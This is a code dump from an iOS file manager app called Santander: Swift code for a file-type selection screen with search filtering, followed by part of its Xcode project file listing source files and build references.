collectionView.deselectItem(at: indexPath, animated: false) let item = dataSource.itemIdentifier(for: indexPath)! switch item { case .section(_): break // never supposed to get here case .item(let type): // if the item is already selected, remove this UTType from selectedTyps // otherwise, insert it to our selected types if selectedTypes.contains(type) { selectedTypes.remove(type) } else { selectedTypes.insert(type) } var snapshot = dataSource.snapshot() snapshot.reloadItems([.item(type)]) dataSource.apply(snapshot, animatingDifferences: true) } } enum Section: CustomStringConvertible { case generic case audio case programming case archive case image case document case executable case systemTypes var description: String { switch self { case .generic: return "Generic" case .audio: return "Audio" case .programming: return "Programming" case .archive: return "Archive" case .image: return "Image" case .document: return "Document" case .executable: return "Executable" case .systemTypes: return "System" } } } struct TypesCollection { let section: Section let types: [UTType] static func all() -> [TypesCollection] { return [ TypesCollection(section: .generic, types: UTType.generictypes()), TypesCollection(section: .audio, types: UTType.audioTypes()), TypesCollection(section: .programming, types: UTType.programmingTypes()), TypesCollection(section: .archive, types: UTType.compressedFormatTypes()), TypesCollection(section: .image, types: UTType.imageTypes()), TypesCollection(section: .document, types: UTType.documentTypes()), TypesCollection(section: .systemTypes, types: UTType.systemTypes()) ] } } } extension TypesSelectionCollectionViewController: UISearchBarDelegate { func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) { guard !searchText.isEmpty else { showItems(fromCollections: allItems) return } var newCollection: [TypesCollection] = [] for collection in allItems { let filtered = collection.types.filter { type in type.localizedDescription?.localizedCaseInsensitiveContains(searchText) ?? false || type.preferredFilenameExtension?.localizedCaseInsensitiveContains(searchText) ?? false } if !filtered.isEmpty { newCollection.append(TypesCollection(section: collection.section, types: filtered)) } } showItems(fromCollections: newCollection, animatingDifferences: false) } func searchBarCancelButtonClicked(_ searchBar: UISearchBar) { showItems(fromCollections: allItems) } } ================================================ FILE: Santander.xcodeproj/project.pbxproj ================================================ // !$*UTF8*$! { archiveVersion = 1; classes = { }; objectVersion = 55; objects = { /* Begin PBXBuildFile section */ 3712D319286F7F2E00BCD034 /* TypeSelectionViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3712D318286F7F2E00BCD034 /* TypeSelectionViewController.swift */; }; 3713292528B60163009E4AEA /* ImageMetadata.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3713292428B60163009E4AEA /* ImageMetadata.swift */; }; 3713292928B61F98009E4AEA /* ImageMetadataViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3713292828B61F98009E4AEA /* ImageMetadataViewController.swift */; }; 3713292B28B74D34009E4AEA /* ImageLocationEditorViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3713292A28B74D34009E4AEA /* ImageLocationEditorViewController.swift */; }; 37137F7828AED89F00E28069 /* SerializedArrayViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37137F7728AED89F00E28069 /* SerializedArrayViewController.swift */; }; 37177E4C289F12640025042E /* PathGroupOwnerViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37177E4B289F12640025042E /* PathGroupOwnerViewController.swift */; }; 37198B9A28721069000C8CDF /* TextEditorThemeSettingsViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37198B9928721069000C8CDF /* TextEditorThemeSettingsViewController.swift */; }; 37198B9C28721275000C8CDF /* Themes.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37198B9B28721275000C8CDF /* Themes.swift */; }; 37198B9F2872DDA6000C8CDF /* KeyboardToolsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37198B9E2872DDA6000C8CDF /* KeyboardToolsView.swift */; }; 374ECDC82875A3940066E9DD /* Storage.swift in Sources */ = {isa = PBXBuildFile; fileRef = 374ECDC72875A3940066E9DD /* Storage.swift */; }; 374ECDCA2875F5350066E9DD /* AudioPlayerViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 374ECDC92875F5350066E9DD /* AudioPlayerViewController.swift */; }; 375CF897289C394E00BB7C60 /* ToolbarItems.swift in Sources */ = {isa = PBXBuildFile; fileRef = 375CF896289C394E00BB7C60 /* ToolbarItems.swift */; }; 375CF899289C4FF000BB7C60 /* PathMetadata.swift in Sources */ = {isa = PBXBuildFile; fileRef = 375CF898289C4FF000BB7C60 /* PathMetadata.swift */; }; 375CF89D289CF3A600BB7C60 /* Permissions.swift in Sources */ = {isa = PBXBuildFile; fileRef = 375CF89C289CF3A600BB7C60 /* Permissions.swift */; }; 375CF89F289D969A00BB7C60 /* PathPermissionsViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 375CF89E289D969A00BB7C60 /* PathPermissionsViewController.swift */; }; 375D568D28A5B01600E25591 /* entitlements.plist in Resources */ = {isa = PBXBuildFile; fileRef = 375D568C28A5B01600E25591 /* entitlements.plist */; }; 376F749D28BC8A33000E5D77 /* AudioPlayerToolbarView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 376F749C28BC8A33000E5D77 /* AudioPlayerToolbarView.swift */; }; 3771D37B2862329D00E200B6 /* Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3771D37A2862329D00E200B6 /* Extensions.swift */; }; 3771D37F2862493E00E200B6 /* PathInformationTableViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3771D37E2862493E00E200B6 /* PathInformationTableViewController.swift */; }; 3787DB0528ABECF200ACA60B /* FileEditorType.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3787DB0428ABECF200ACA60B /* FileEditorType.swift */; }; 3787DB0728ACB74D00ACA60B /* SerializedDocumentViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3787DB0628ACB74D00ACA60B /* SerializedDocumentViewController.swift */; }; 3787DB0A28ACE4EE00ACA60B /* SerializedItemViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3787DB0928ACE4EE00ACA60B /* SerializedItemViewController.swift */; }; 3787DB0C28ACE5E200ACA60B /* SerializedItemType.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3787DB0B28ACE5E200ACA60B /* SerializedItemType.swift */; }; 3789B5E028622B7A00058688 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3789B5DF28622B7A00058688 /* AppDelegate.swift */; }; 3789B5E228622B7A00058688 /* SceneDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3789B5E128622B7A00058688 /* SceneDelegate.swift */; }; 3789B5E928622B7C00058688 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 3789B5E828622B7C00058688 /* Assets.xcassets */; }; 3789B5EC28622B7C00058688 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 3789B5EA28622B7C00058688 /* LaunchScreen.storyboard */; }; 3789B5F428622E0D00058688 /* PathListViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3789B5F328622E0D00058688 /* PathListViewController.swift */; }; 37932F052863205F00BF48C8 /* UserPreferences.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37932F042863205F00BF48C8 /* UserPreferences.swift */; }; 37934DB728707F4500D1248A /* TextFileEditorViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37934DB628707F4500D1248A /* TextFileEditorViewController.swift */; }; 37963F132869C96C00C4B72A /* PathType.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37963F122869C96C00C4B72A /* PathType.swift */; }; 37963F17286A0F0B00C4B72A /* DirectoryMonitor.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37963F16286A0F0B00C4B72A /* DirectoryMonitor.swift */; }; 37C6E0C52865CF7C00BDDA16 /* SettingsTableViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0C42865CF7C00BDDA16 /* SettingsTableViewController.swift */; }; 37C6E0C828662C4100BDDA16 /* DragAndDrop.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0C728662C4100BDDA16 /* DragAndDrop.swift */; }; 37C6E0CA28662C6800BDDA16 /* PathsSortMethods.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0C928662C6800BDDA16 /* PathsSortMethods.swift */; }; 37C6E0CE28665B2A00BDDA16 /* PathOperationViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0CD28665B2A00BDDA16 /* PathOperationViewController.swift */; }; 37C6E0D028673AFF00BDDA16 /* Search.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0CF28673AFF00BDDA16 /* Search.swift */; }; 37C6E0D22867653A00BDDA16 /* PathSidebarListViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37C6E0D12867653A00BDDA16 /* PathSidebarListViewController.swift */; }; 37CA828A28AA675B000236D7 /* AppInfoViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37CA828928AA675B000236D7 /* AppInfoViewController.swift */; }; 37DE0FA22864902400E5EBBC /* FilePreviewDataSource.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37DE0FA12864902400E5EBBC /* FilePreviewDataSource.swift */; }; 37ECADA728B23ECC00B95733 /* ImageViewerController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37ECADA628B23ECB00B95733 /* ImageViewerController.swift */; }; 6D6413F72A1E169600DCD315 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 6D6413F12A1E169500DCD315 /* helpers.m */; }; 6D6413F82A1E169600DCD315 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 6D6413F22A1E169500DCD315 /* vm_unaligned_copy_switch_race.c */; }; 6D6413F92A1E169600DCD315 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 6D6413F32A1E169600DCD315 /* grant_full_disk_access.m */; }; 6D6413FB2A1E174A00DCD315 /* Alert++.swift in Sources */ = {isa = PBXBuildFile; fileRef = 6D6413FA2A1E174A00DCD315 /* Alert++.swift */; }; CE0D0B002906D6F300D17307 /* GoToItem.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE0D0AFF2906D6F300D17307 /* GoToItem.swift */; }; CE0E513028D4D03300E9D611 /* AssetCatalogViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE0E512F28D4D03300E9D611 /* AssetCatalogViewController.swift */; }; CE13D1DD28D3572000F5C833 /* RootHelper.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE13D1DC28D3572000F5C833 /* RootHelper.swift */; }; CE1F1F7028F7211700E44DF2 /* PathTransitioning.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE1F1F6F28F7211700E44DF2 /* PathTransitioning.swift */; }; CE1FDA2A28F20302000A16BE /* AssetCatalogGridPreviewCell.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE1FDA2928F20302000A16BE /* AssetCatalogGridPreviewCell.swift */; }; CE2D13D8291D8EE50023F16D /* ArgumentParser in Frameworks */ = {isa = PBXBuildFile; productRef = CE2D13D7291D8EE50023F16D /* ArgumentParser */; }; CE2D13DA291D8F210023F16D /* FSOperations in Frameworks */ = {isa = PBXBuildFile; productRef = CE2D13D9291D8F210023F16D /* FSOperations */; }; CE2D13DC291D8F460023F16D /* Commands.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE2D13DB291D8F460023F16D /* Commands.swift */; }; CE2D13DE291D8F8A0023F16D /* ArgumentParser in Frameworks */ = {isa = PBXBuildFile; productRef = CE2D13DD291D8F8A0023F16D /* ArgumentParser */; }; CE37904628DB44C300124029 /* AssetCatalogCell.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE37904528DB44C300124029 /* AssetCatalogCell.swift */; }; CE37904A28DB523500124029 /* AssetCatalogSectionHeader.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE37904928DB523500124029 /* AssetCatalogSectionHeader.swift */; }; CE41CDD0299695700090B616 /* Path.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE41CDCF299695700090B616 /* Path.swift */; }; CE41CDD1299695700090B616 /* Path.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE41CDCF299695700090B616 /* Path.swift */; }; CE42B204290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE42B203290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift */; }; CE42E24C291A920400187333 /* LoadingValueState.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE42E24B291A920400187333 /* LoadingValueState.swift */; }; CE5DFE8328C7BC89003E1095 /* BinaryExecutionViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE5DFE8228C7BC89003E1095 /* BinaryExecutionViewController.swift */; }; CE7228ED28E8188D00918C5F /* AssetCatalogRenditionViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE7228EC28E8188D00918C5F /* AssetCatalogRenditionViewController.swift */; }; CE7E02E0290006C70046A7D4 /* MobileCoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = CE7E02DE290006C70046A7D4 /* MobileCoreServices.framework */; }; CE7E02E1290006C70046A7D4 /* CoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = CE7E02DF290006C70046A7D4 /* CoreServices.framework */; }; CE99BC6829951DE0008E31DA /* KeyboardSearchView.swift in Sources */ = {isa = PBXBuildFile; fileRef = CE99BC6729951DE0008E31DA /* KeyboardSearchView.swift */; }; CEA33B37291619EB00DD7BAC /* ApplicationsWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B36291619EB00DD7BAC /* ApplicationsWrapper */; }; CEA33B39291619EB00DD7BAC /* AssetCatalogWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B38291619EB00DD7BAC /* AssetCatalogWrapper */; }; CEA33B3B291619EB00DD7BAC /* CompressionWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B3A291619EB00DD7BAC /* CompressionWrapper */; }; CEA33B3F291619EB00DD7BAC /* FSOperations in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B3E291619EB00DD7BAC /* FSOperations */; }; CEA33B41291619EB00DD7BAC /* NSTask in Frameworks */ = {isa = PBXBuildFile; productRef = CEA33B40291619EB00DD7BAC /* NSTask */; }; CEB0566328F156F500B71017 /* BaseLayoutAnchorSupporting.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEB0566228F156F500B71017 /* BaseLayoutAnchorSupporting.swift */; }; CECB3A0C28E330BC00328434 /* AssetCatalogDetailsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = CECB3A0B28E330BC00328434 /* AssetCatalogDetailsView.swift */; }; CECF6EDA28C37F660080B805 /* FontViewerController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CECF6ED928C37F660080B805 /* FontViewerController.swift */; }; CEDAF42028C36B2900DF03E6 /* Runestone in Frameworks */ = {isa = PBXBuildFile; productRef = CEDAF41F28C36B2900DF03E6 /* Runestone */; }; CEE06A37291E1E0A00DA8C75 /* CompressionWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEE06A36291E1E0A00DA8C75 /* CompressionWrapper */; }; CEE9B2D829C4590E00D6C826 /* ApplicationsWrapper in Frameworks */ = {isa = PBXBuildFile; productRef = CEE9B2D729C4590E00D6C826 /* ApplicationsWrapper */; }; CEE9B2DA29C4591B00D6C826 /* CoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = CEE9B2D929C4591B00D6C826 /* CoreServices.framework */; }; CEE9B2DC29C4592700D6C826 /* NSTask in Frameworks */ = {isa = PBXBuildFile; productRef = CEE9B2DB29C4592700D6C826 /* NSTask */; }; CEF032BB291ED00700B6F768 /* Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEF032B8291ED00700B6F768 /* Extensions.swift */; }; CEF032BD291ED00700B6F768 /* main.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEF032BA291ED00700B6F768 /* main.swift */; }; CEF54FF528C3D4E30078A146 /* FontInformationViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEF54FF428C3D4E30078A146 /* FontInformationViewController.swift */; }; CEFF556129153B9B002C1B99 /* DiffableDataSourceItem.swift in Sources */ = {isa = PBXBuildFile; fileRef = CEFF556029153B9B002C1B99 /* DiffableDataSourceItem.swift */; }; /* End PBXBuildFile section */ /* Begin PBXCopyFilesBuildPhase section */ 3765393B286920FC00D76430 /* Embed App Extensions */ = { isa = PBXCopyFilesBuildPhase; buildActionMask = 2147483647; dstPath = ""; dstSubfolderSpec = 13; files = ( ); name = "Embed App Extensions"; runOnlyForDeploymentPostprocessing = 0; }; /* End PBXCopyFilesBuildPhase section */ /* Begin PBXFileReference section */ 3712D318286F7F2E00BCD034 /* TypeSelectionViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TypeSelectionViewController.swift; sourceTree = ""; }; 3713292428B60163009E4AEA /* ImageMetadata.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ImageMetadata.swift; sourceTree = ""; }; 3713292828B61F98009E4AEA /* ImageMetadataViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ImageMetadataViewController.swift; sourceTree = ""; }; 3713292A28B74D34009E4AEA /* ImageLocationEditorViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ImageLocationEditorViewController.swift; sourceTree = ""; }; 37137F7728AED89F00E28069 /* SerializedArrayViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SerializedArrayViewController.swift; sourceTree = ""; }; 37177E4B289F12640025042E /* PathGroupOwnerViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathGroupOwnerViewController.swift; sourceTree = ""; }; 37198B9928721069000C8CDF /* TextEditorThemeSettingsViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TextEditorThemeSettingsViewController.swift; sourceTree = ""; }; 37198B9B28721275000C8CDF /* Themes.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Themes.swift; sourceTree = ""; }; 37198B9E2872DDA6000C8CDF /* KeyboardToolsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeyboardToolsView.swift; sourceTree = ""; }; 374ECDC72875A3940066E9DD /* Storage.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Storage.swift; sourceTree = ""; }; 374ECDC92875F5350066E9DD /* AudioPlayerViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AudioPlayerViewController.swift; sourceTree = ""; }; 375CF896289C394E00BB7C60 /* ToolbarItems.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ToolbarItems.swift; sourceTree = ""; }; 375CF898289C4FF000BB7C60 /* PathMetadata.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathMetadata.swift; sourceTree = ""; }; 375CF89C289CF3A600BB7C60 /* Permissions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Permissions.swift; sourceTree = ""; }; 375CF89E289D969A00BB7C60 /* PathPermissionsViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathPermissionsViewController.swift; sourceTree = ""; }; 375D568C28A5B01600E25591 /* entitlements.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = entitlements.plist; sourceTree = ""; }; 376F749C28BC8A33000E5D77 /* AudioPlayerToolbarView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AudioPlayerToolbarView.swift; sourceTree = ""; }; 3771D37A2862329D00E200B6 /* Extensions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Extensions.swift; sourceTree = ""; }; 3771D37E2862493E00E200B6 /* PathInformationTableViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathInformationTableViewController.swift; sourceTree = ""; }; 3787DB0428ABECF200ACA60B /* FileEditorType.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileEditorType.swift; sourceTree = ""; }; 3787DB0628ACB74D00ACA60B /* SerializedDocumentViewController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SerializedDocumentViewController.swift; sourceTree = ""; }; 3787DB0928ACE4EE00ACA60B /* SerializedItemViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SerializedItemViewController.swift; sourceTree = ""; }; 3787DB0B28ACE5E200ACA60B /* SerializedItemType.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SerializedItemType.swift; sourceTree = ""; }; 3789B5DC28622B7A00058688 /* Santander.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Santander.app; sourceTree = BUILT_PRODUCTS_DIR; }; 3789B5DF28622B7A00058688 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = ""; }; 3789B5E128622B7A00058688 /* SceneDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SceneDelegate.swift; sourceTree = ""; }; 3789B5E828622B7C00058688 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 3789B5EB28622B7C00058688 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 3789B5ED28622B7C00058688 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 3789B5F328622E0D00058688 /* PathListViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathListViewController.swift; sourceTree = ""; }; 37932F042863205F00BF48C8 /* UserPreferences.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UserPreferences.swift; sourceTree = ""; }; 37934DB628707F4500D1248A /* TextFileEditorViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TextFileEditorViewController.swift; sourceTree = ""; }; 37963F122869C96C00C4B72A /* PathType.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathType.swift; sourceTree = ""; }; 37963F16286A0F0B00C4B72A /* DirectoryMonitor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DirectoryMonitor.swift; sourceTree = ""; }; 37C6E0C42865CF7C00BDDA16 /* SettingsTableViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SettingsTableViewController.swift; sourceTree = ""; }; 37C6E0C728662C4100BDDA16 /* DragAndDrop.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DragAndDrop.swift; sourceTree = ""; }; 37C6E0C928662C6800BDDA16 /* PathsSortMethods.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathsSortMethods.swift; sourceTree = ""; }; 37C6E0CD28665B2A00BDDA16 /* PathOperationViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathOperationViewController.swift; sourceTree = ""; }; 37C6E0CF28673AFF00BDDA16 /* Search.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Search.swift; sourceTree = ""; }; 37C6E0D12867653A00BDDA16 /* PathSidebarListViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathSidebarListViewController.swift; sourceTree = ""; }; 37CA828928AA675B000236D7 /* AppInfoViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppInfoViewController.swift; sourceTree = ""; }; 37DE0FA12864902400E5EBBC /* FilePreviewDataSource.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FilePreviewDataSource.swift; sourceTree = ""; }; 37ECADA628B23ECB00B95733 /* ImageViewerController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ImageViewerController.swift; sourceTree = ""; }; 6D6413EF2A1E165300DCD315 /* SantanderHeader.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SantanderHeader.h; sourceTree = ""; }; 6D6413F12A1E169500DCD315 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; 6D6413F22A1E169500DCD315 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; 6D6413F32A1E169600DCD315 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; 6D6413F42A1E169600DCD315 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; 6D6413F52A1E169600DCD315 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; 6D6413F62A1E169600DCD315 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; 6D6413FA2A1E174A00DCD315 /* Alert++.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = "Alert++.swift"; sourceTree = ""; }; CE0D0AFF2906D6F300D17307 /* GoToItem.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GoToItem.swift; sourceTree = ""; }; CE0E512F28D4D03300E9D611 /* AssetCatalogViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogViewController.swift; sourceTree = ""; wrapsLines = 1; }; CE13D1DC28D3572000F5C833 /* RootHelper.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RootHelper.swift; sourceTree = ""; }; CE1F1F6F28F7211700E44DF2 /* PathTransitioning.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PathTransitioning.swift; sourceTree = ""; }; CE1FDA2928F20302000A16BE /* AssetCatalogGridPreviewCell.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogGridPreviewCell.swift; sourceTree = ""; }; CE2D13DB291D8F460023F16D /* Commands.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Commands.swift; sourceTree = ""; }; CE33E5502900166000DB4D44 /* .github */ = {isa = PBXFileReference; lastKnownFileType = folder; path = .github; sourceTree = ""; }; CE37904528DB44C300124029 /* AssetCatalogCell.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = AssetCatalogCell.swift; sourceTree = ""; }; CE37904928DB523500124029 /* AssetCatalogSectionHeader.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogSectionHeader.swift; sourceTree = ""; }; CE3E8FC228FF24D3001B8FAA /* Makefile */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.make; path = Makefile; sourceTree = ""; }; CE41CDCF299695700090B616 /* Path.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Path.swift; sourceTree = ""; }; CE42B203290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogSidebarListView.swift; sourceTree = ""; }; CE42E24B291A920400187333 /* LoadingValueState.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LoadingValueState.swift; sourceTree = ""; }; CE5DFE8228C7BC89003E1095 /* BinaryExecutionViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BinaryExecutionViewController.swift; sourceTree = ""; }; CE7228EC28E8188D00918C5F /* AssetCatalogRenditionViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogRenditionViewController.swift; sourceTree = ""; }; CE7E02DE290006C70046A7D4 /* MobileCoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = MobileCoreServices.framework; path = System/Library/Frameworks/MobileCoreServices.framework; sourceTree = SDKROOT; }; CE7E02DF290006C70046A7D4 /* CoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreServices.framework; path = System/Library/Frameworks/CoreServices.framework; sourceTree = SDKROOT; }; CE99BC6729951DE0008E31DA /* KeyboardSearchView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeyboardSearchView.swift; sourceTree = ""; }; CEB0566228F156F500B71017 /* BaseLayoutAnchorSupporting.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BaseLayoutAnchorSupporting.swift; sourceTree = ""; }; CEC433C028FF20B400C18BD8 /* RootHelper */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.dylib"; includeInIndex = 0; path = RootHelper; sourceTree = BUILT_PRODUCTS_DIR; }; CECB3A0B28E330BC00328434 /* AssetCatalogDetailsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AssetCatalogDetailsView.swift; sourceTree = ""; }; CECF6ED928C37F660080B805 /* FontViewerController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontViewerController.swift; sourceTree = ""; }; CEE9B2D929C4591B00D6C826 /* CoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreServices.framework; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk/System/Library/Frameworks/CoreServices.framework; sourceTree = DEVELOPER_DIR; }; 